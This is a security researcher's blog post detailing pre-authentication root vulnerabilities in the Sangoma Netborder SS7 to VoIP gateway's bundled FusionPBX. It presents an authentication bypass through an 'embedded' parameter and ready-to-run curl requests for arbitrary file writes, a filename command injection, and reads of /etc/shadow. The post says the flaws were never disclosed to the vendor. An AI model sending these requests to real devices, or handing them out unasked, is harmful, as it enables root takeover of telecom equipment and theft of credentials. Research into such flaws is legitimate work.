FusionDoors - Sangoma NSG Pre-Authentication Remote Root Exploits.

This is part of a series of posts on the Sangoma exploits I released at BSides Basingstoke 2024.

This vulnerability affects the Sangoma Netborder SS7 to VoIP Gateway. These are telecoms/VoIP products for SS7 and VoIP networks, which purport to provide security features.

"FusionDoors" is quite possibly one of the most absurd vulnerabilities I've found in quite some time. It has to be a backdoor. The ONLY reason I can think of for this hole to exist, is because apparently passing sessions from the Apache to Nginx was too hard.

So firstly, we are looking at the Apache configurations, and notice it seems to offer a reverse proxy to a running nginx instance somewhere on the server.

Our next logical step seems to be examining what, exactly, this nginx service is doing. It appears to be running FusionPBX - a PBX software stack written in PHP from Sangoma.

So we go examine the nginx configuration file and find where it is serving PHP scripts from... And also that some absolute genius has configured it to run as root.

We find the relevant FusionPBX files at /usr/local/nsg/nginx/html/fusionpbx, so this is where we will begin exploring.

Under includes/checkauth.php, we discover this absolute masterpiece of programming, which enables a trivial authentication bypass if the request parameter "embedded" is provided - setting your session username to "superadmin", and granting you admin/superadmin permissions.

It seems logical to see if there is any low hanging fruit amongst the FusionPBX modules that will let us use this Magic Doorway to do anything fun.

First, we examine mod/exec/v_exec.php, and see that it indeed uses this magic doorway.

Going deeper into the depths of this module, we discover it offers us a few execution options!

First, lets look at "shellcmd". It does exactly what it says on the tin - takes user input, and runs a shell command.

And yes, it is that simple.

What about the "phpcmd" option? Well, you won't believe this... It eval's anything you put in.

Again, a trivial RCE. We can execute any PHP code here, as root.

I couldn't quite get switchcmd to do much, so I moved on. We have a remote-exec and a remote-eval here.

But what if we want more? Lets talk about some arbitrary file writes.

Turns out, there is another script file under php_edit/filesave.php (with a duplicate under grammar_edit/filesave.php) that allows writing arbitrary text content to disk.

Testing this, we decide to try write a file to disk.

curl -d "file=/tmp/phpedithacked&content=hacked" http://192.168.0.98/fusionpbx/mod/php_edit/filesave.php?embedded=True

When we check, a root-owned file has been created in /tmp/phpedithacked with the contents hacked.

We also check the identical script at grammar_edit, and that works too:

curl -d "file=/tmp/grammaredithacked&content=hacked" http://192.168.0.98/fusionpbx/mod/grammar_edit/filesave.php?embedded=True.

The ones under script_edit and xml_edit I'll deal with now.

script_edit/filesave.php not only will happily write a file - it also will call dos2unix on it, without cleaning the filename, leading to a potential command injection.

So firstly: we get our file upload/file write:

curl -d "file=/tmp/scriptedithacked&content=hacked" http://192.168.0.98/fusionpbx/mod/script_edit/filesave.php?embedded=True.

Now lets try the command injection version:

curl -d "file=/tmp/scriptedithacked2;touch hackscript;&content=hacked" http://192.168.0.98/fusionpbx/mod/script_edit/filesave.php?embedded=True

Unfortunately we are kinda limited here in what we can execute (for now), but this did execute the touch command and create a file named hackscript in the script_edit directory.

# find . -name hackscript
./script_edit/hackscript

Now lets examine that xml_edit variant. Turns out - it is the exact same as the php_edit one, but with a different file hash.

curl -d "file=/tmp/xmledithacked&content=hacked" http://192.168.0.98/fusionpbx/mod/xml_edit/filesave.php?embedded=True

So: We now have four paths to upload files, and a (somewhat limited) command execution, just from this one small bug, on top of the prior unrestricted remote shell and PHP code execution.

Why not go for completion and find a file read bug? The helpfully named "fileread.php" grants us this.

Yet again, we find dupes of these in the grammar_edit, script_edit, and xml_edit folders. You can read files like so.

curl -s -d "file=/etc/shadow" http://192.168.0.98/fusionpbx/mod/php_edit/fileread.php?embedded=True | head -n 1
curl -s -d "file=/etc/shadow" http://192.168.0.98/fusionpbx/mod/xml_edit/fileread.php?embedded=True | head -n 1
curl -s -d "file=/etc/shadow" http://192.168.0.98/fusionpbx/mod/script_edit/fileread.php?embedded=True | head -n 1
curl -s -d "file=/etc/shadow" http://192.168.0.98/fusionpbx/mod/grammar_edit/fileread.php?embedded=True | head -n 1

Here is the PoC showing them all working.

At this point: I think we might as well call it - there are more bugs to be found here, but I think I've made my point. There are many, many paths to root here.

Writing an exploit for these is currently an exercise for the reader. I mean, come on. You can fit the PoC in a tweet.

These issues have not been disclosed to Sangoma yet, due to their past performance when it comes to handling vulnerability disclosures - I don't have time to waste fighting uncooperative vendors.

In the next episode of the Sangoma Inquisition, we will discuss a lovely remote-root hole, pre-authentication, in the NSC appliance.

Until next time.